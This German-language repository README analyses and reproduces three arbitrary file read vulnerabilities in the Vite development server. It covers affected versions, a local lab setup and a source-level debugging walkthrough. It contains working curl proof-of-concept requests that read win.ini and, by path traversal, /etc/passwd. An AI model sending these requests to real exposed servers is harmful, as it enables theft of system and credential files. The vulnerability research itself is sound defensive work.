r0ngy40/cve-2025-30208-seriesAnalyse der Reproduktion der Schwachstellen der CVE-2025-30208-Serie
CVE-2025-30208, CVE-2025-31125 und CVE-2025-31486 sind Schwachstellen für beliebiges Dateilesen (Arbitrary File Read) im Vite-Entwicklungsserver. Diese Schwachstellen ermöglichen es Angreifern, durch spezifische URL-Parameter die Zugriffskontrolle zu umgehen und über das fs-Modul vertrauliche Dateien auf dem Server zu lesen. Die oben genannten drei Schwachstellen können als eine Serie von Schwachstellen betrachtet werden, da die Ursachen sehr ähnlich sind.
Von CVE-2025-30208 betroffene Versionen:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
Von CVE-2025-31125 betroffene Versionen:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
Von CVE-2025-31486 betroffene Versionen:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Um die Schwachstellenumgebung lokal von Grund auf einzurichten, erstellen Sie zunächst mit create-vite ein Projekt:
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
Die in der generierten package.json enthaltene Vite-Version könnte das ^-Symbol enthalten (z. B. "vite": "^6.2.0"). Sie muss manuell in eine exakte Versionsnummer geändert werden (z. B. "vite": "6.2.0"). Führen Sie anschließend Folgendes aus:
npm install
Starten Sie schließlich die Umgebung:
npm run dev
Alternativ können Sie direkt den Ordner vuln-env in diesem Repository verwenden: nach npm install genügt npm run dev.
Der Einfachheit halber wurden alle drei Schwachstellen mit Version 6.2.0 reproduziert. Führen Sie npm run dev aus und warten Sie, bis die Umgebung gestartet ist.
CVE-2025-30208 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"
CVE-2025-31125 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
Der gelesene Inhalt ist base64-kodiert; nach dem Dekodieren erhält man den ursprünglichen Dateiinhalt.
CVE-2025-31486 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
Der im Advisory erwähnte POC zum Lesen über relative Pfade lautet wie folgt:
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x steht für den Pfad des lokalen Projekts. Der lokal getestete POC lautet wie folgt:
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
Man kann sehen, dass die POCs grundsätzlich in zwei Kategorien unterteilt sind: Diejenigen, die keinen HTTP-Header benötigen, müssen ein ?import& enthalten. Darauf wird hier nicht näher eingegangen; dies wird in der Phase der Quellcode-Analyse erläutert.
Für die Analyse des Quellcodes ist ein Debugging erforderlich. Hier wird das Projekt über VSCode debuggt. Der Inhalt der Datei launch.json lautet wie folgt:
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Laut offiziellem Patch wurde die if-Anweisung in der Funktion transformMiddleware verstärkt, die das URL-Format prüft und feststellt, ob auf den Dienst zugegriffen werden kann. Setzen Sie daher einen Haltepunkt in der Funktion transformMiddleware und verfolgen Sie den Parsing-Prozess der Anfrage.
Da das erstellte Projekt nur kompilierte JS-Dateien enthält, suchen Sie einfach im gesamten Projekt nach dem Funktionsnamen und setzen den Haltepunkt.
Führen Sie den POC aus; der Haltepunkt in der Zielfunktion wird erfolgreich erreicht. Man kann sehen, dass nach der Zuweisung einiger Variablen der Aufruf in die Funktion viteTransformMiddleware gelangt. Nachdem geprüft wurde, ob die Anfragemethode GET ist und ob die Anfrage das Wurzelverzeichnis oder ein Icon betrifft, wird das abschließende ? der URL durch removeTimestampQuery entfernt.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
Mit cleanUrl() wird die URL ohne Anfrageparameter ermittelt. Zu diesem Zeitpunkt ist der Wert von withoutQuery "/@fs/c:/windows/win.ini", sodass der Codeblock if (!isSourceMap) nicht betreten wird. Anschließend wird über publicDirInRoot geprüft, ob das Verzeichnis für statische Ressourcen im Projektstammverzeichnis konfiguriert ist; url.startsWith(publicPath) prüft, ob die angeforderte URL mit dem konfigurierten öffentlichen Pfad (z. B. /public/) beginnt. Wenn beide Bedingungen erfüllt sind, wird warnAboutExplicitPublicPathInUrl(url) aufgerufen, um eine Warnung auszugeben. Dies bedeutet in der Regel, dass der Entwickler den öffentlichen Pfad versehentlich doppelt hinzugefügt hat. Da die URL die Bedingungen nicht erfüllt, wird auch dieser Codeblock übersprungen. Die Ergebnisse von rawRE.test(url) und urlRE.test(url) sind beide False, sodass das Ergebnis von ensureServingAccess() nicht geprüft wird, sondern der logische Ausdruck direkt auf False gesetzt und der Codeblock übersprungen wird. In der darauffolgenden if-Prüfung entspricht die URL der durch ImportQueryRE definierten regulären Form und tritt in den if-Codeblock ein. Die URL wird durch die Funktion removeImportQuery() in /@fs/c:/windows/win.ini?raw geändert und an die Funktion transformRequest() übergeben.
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
In der if-Anweisung, die isJSRequest(url) prüft, kann man sehen, dass zusätzlich geprüft wird, ob der sec-fetch-dest-Wert des HTTP-Headers script ist. Ist dies der Fall, wird die Prüfung ebenfalls bestanden. Das ist der Grund, warum die POCs, wie bereits erwähnt, grundsätzlich in zwei Kategorien unterteilt sind: Sowohl das Hinzufügen des HTTP-Headers als auch ?import& dienen dazu, die if-Prüfung zu bestehen. (Eigentlich gibt es auch andere Möglichkeiten, die Prüfung zu bestehen, z. B. über isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)
Nach der Parameterverarbeitung, Umgebungsprüfung, Prüfung des Cache-Schlüssels und der Erkennung doppelter Anfragen wird die Funktion doTransform() aufgerufen.
